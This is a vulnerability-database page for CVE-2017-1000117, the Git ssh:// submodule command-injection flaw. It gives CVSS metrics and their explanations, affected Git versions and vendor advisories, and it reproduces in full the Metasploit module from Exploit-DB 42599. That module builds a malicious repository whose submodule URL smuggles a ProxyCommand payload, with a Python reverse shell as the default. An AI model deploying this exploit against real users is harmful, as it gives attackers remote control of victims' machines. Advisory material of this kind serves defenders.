CVE-2017-1000117 : Detail

CVE-2017-1000117

8.8
/
High
A01-Broken Access Control
79.98%V3
Network
2017-10-03
23h00 +00:00
2018-01-04
18h57 +00:00
CVE.org
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CVE Descriptions

A malicious third-party can give a crafted "ssh://..." URL to an unsuspecting victim, and an attempt to visit the URL can result in any program that exists on the victim's machine being executed. Such a URL could be placed in the .gitmodules file of a malicious project, and an unsuspecting victim could be tricked into running "git clone --recurse-submodules" to trigger the vulnerability.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-601 URL Redirection to Untrusted Site ('Open Redirect')
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42599

Publication date : 2017-08-30 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => 'Malicious Git HTTP Server For CVE-2017-1000117', 'Description' => %q( This module exploits CVE-2017-1000117, which affects Git version 2.7.5 and lower. A submodule of the form 'ssh://' can be passed parameters from the username incorrectly. This can be used to inject commands to the operating system when the submodule is cloned. This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised. ), 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-1000117'], ['URL', 'http://seclists.org/oss-sec/2017/q3/280' ] ], 'DisclosureDate' => 'Aug 10 2017', 'Targets' => [ [ 'Automatic', { 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'python' } } } ] ], 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_python' }, 'DefaultTarget' => 0 ) ) register_options( [ OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']), OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', '']) ] ) end def setup @repo_data = { git: { files: {} } } setup_git super end def setup_git # URI must start with a / unless git_uri && git_uri =~ /^\// fail_with(Failure::BadConfig, 'GIT_URI must start with a /') end payload_cmd = payload.encoded + " &" payload_cmd = Rex::Text.to_hex(payload_cmd, '%') submodule_path = datastore['GIT_SUBMODULE'] if submodule_path.blank? submodule_path = Rex::Text.rand_text_alpha(rand(8) + 2).downcase end gitmodules = "[submodule \"#{submodule_path}\"] path = #{submodule_path} url = ssh://-oProxyCommand=#{payload_cmd}/ " sha1, content = build_object('blob', gitmodules) @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content tree = "100644 .gitmodules\0#{[sha1].pack('H*')}" tree += "160000 #{submodule_path}\0#{[sha1].pack('H*')}" sha1, content = build_object('tree', tree) @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content ## build the supposed commit that dropped this file, which has a random user/company email = Rex::Text.rand_mail_address first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten full_name = "#{first.capitalize} #{last.capitalize}" tstamp = Time.now.to_i author_time = rand(tstamp) commit_time = rand(author_time) tz_off = rand(10) commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \ "committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \ "\n" \ "Initial commit to open git repository for #{company}!\n" sha1, content = build_object('commit', "tree #{sha1}\n#{commit}") @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n" @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n" end # Build's a Git object def build_object(type, content) # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html header = "#{type} #{content.size}\0" store = header + content [Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)] end # Returns the Git object path name that a file with the provided SHA1 will reside in def get_path(sha1) sha1[0...2] + '/' + sha1[2..40] end def exploit super end def primer # add the git and mercurial URIs as necessary hardcoded_uripath(git_uri) print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}") end # handles routing any request to the mock git, mercurial or simple HTML as necessary def on_request_uri(cli, req) # if the URI is one of our repositories and the user-agent is that of git/mercurial # send back the appropriate data, otherwise just show the HTML version user_agent = req.headers['User-Agent'] if user_agent && user_agent =~ /^git\// && req.uri.start_with?(git_uri) do_git(cli, req) return end do_html(cli, req) end # simulates a Git HTTP server def do_git(cli, req) # determine if the requested file is something we know how to serve from our # fake repository and send it if so req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '') if @repo_data[:git][:files].key?(req_file) vprint_status("Sending Git #{req_file}") send_response(cli, @repo_data[:git][:files][req_file]) else vprint_status("Git #{req_file} doesn't exist") send_not_found(cli) end end # simulates an HTTP server with simple HTML content that lists the fake # repositories available for cloning def do_html(cli, _req) resp = create_response resp.body = <<HTML <html> <head><title>Public Repositories</title></head> <body> <p>Here are our public repositories:</p> <ul> HTML this_git_uri = URI.parse(get_uri).merge(git_uri) resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>" resp.body << <<HTML </ul> </body> </html> HTML cli.send_response(resp) end # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI def git_uri return @git_uri if @git_uri if datastore['GIT_URI'].blank? @git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git' else @git_uri = datastore['GIT_URI'] end end end

Products Mentioned

Configuraton 0

Git-scm>>Git >> Version To (including) 2.7.5

Git-scm>>Git >> Version 2.8.0

Git-scm>>Git >> Version 2.8.0

Git-scm>>Git >> Version 2.8.0

Git-scm>>Git >> Version 2.8.0

Git-scm>>Git >> Version 2.8.0

Git-scm>>Git >> Version 2.8.1

Git-scm>>Git >> Version 2.8.2

Git-scm>>Git >> Version 2.8.3

Git-scm>>Git >> Version 2.8.4

Git-scm>>Git >> Version 2.8.5

Git-scm>>Git >> Version 2.9.0

Git-scm>>Git >> Version 2.9.0

Git-scm>>Git >> Version 2.9.0

Git-scm>>Git >> Version 2.9.0

Git-scm>>Git >> Version 2.9.1

Git-scm>>Git >> Version 2.9.2

Git-scm>>Git >> Version 2.9.3

Git-scm>>Git >> Version 2.9.4

Git-scm>>Git >> Version 2.10.0

Git-scm>>Git >> Version 2.10.0

Git-scm>>Git >> Version 2.10.0

Git-scm>>Git >> Version 2.10.0

Git-scm>>Git >> Version 2.10.1

Git-scm>>Git >> Version 2.10.2

Git-scm>>Git >> Version 2.10.3

Git-scm>>Git >> Version 2.11.0

Git-scm>>Git >> Version 2.11.0

Git-scm>>Git >> Version 2.11.0

Git-scm>>Git >> Version 2.11.0

Git-scm>>Git >> Version 2.11.0

Git-scm>>Git >> Version 2.11.1

Git-scm>>Git >> Version 2.11.2

Git-scm>>Git >> Version 2.12.0

Git-scm>>Git >> Version 2.12.0

Git-scm>>Git >> Version 2.12.0

Git-scm>>Git >> Version 2.12.0

Git-scm>>Git >> Version 2.12.1

Git-scm>>Git >> Version 2.12.2

Git-scm>>Git >> Version 2.12.3

Git-scm>>Git >> Version 2.13.0

Git-scm>>Git >> Version 2.13.0

Git-scm>>Git >> Version 2.13.0

Git-scm>>Git >> Version 2.13.0

Git-scm>>Git >> Version 2.13.1

Git-scm>>Git >> Version 2.13.2

Git-scm>>Git >> Version 2.13.3

Git-scm>>Git >> Version 2.13.4

Git-scm>>Git >> Version 2.14.0

Git-scm>>Git >> Version 2.14.0

Git-scm>>Git >> Version 2.14.0

References

http://www.debian.org/security/2017/dsa-3934
Tags : vendor-advisory, x_refsource_DEBIAN
https://access.redhat.com/errata/RHSA-2017:2674
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securitytracker.com/id/1039131
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/42599/
Tags : exploit, x_refsource_EXPLOIT-DB
https://access.redhat.com/errata/RHSA-2017:2675
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2484
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2491
Tags : vendor-advisory, x_refsource_REDHAT
https://support.apple.com/HT208103
Tags : x_refsource_CONFIRM
http://www.securityfocus.com/bid/100283
Tags : vdb-entry, x_refsource_BID
https://security.gentoo.org/glsa/201709-10
Tags : vendor-advisory, x_refsource_GENTOO
https://access.redhat.com/errata/RHSA-2017:2485
Tags : vendor-advisory, x_refsource_REDHAT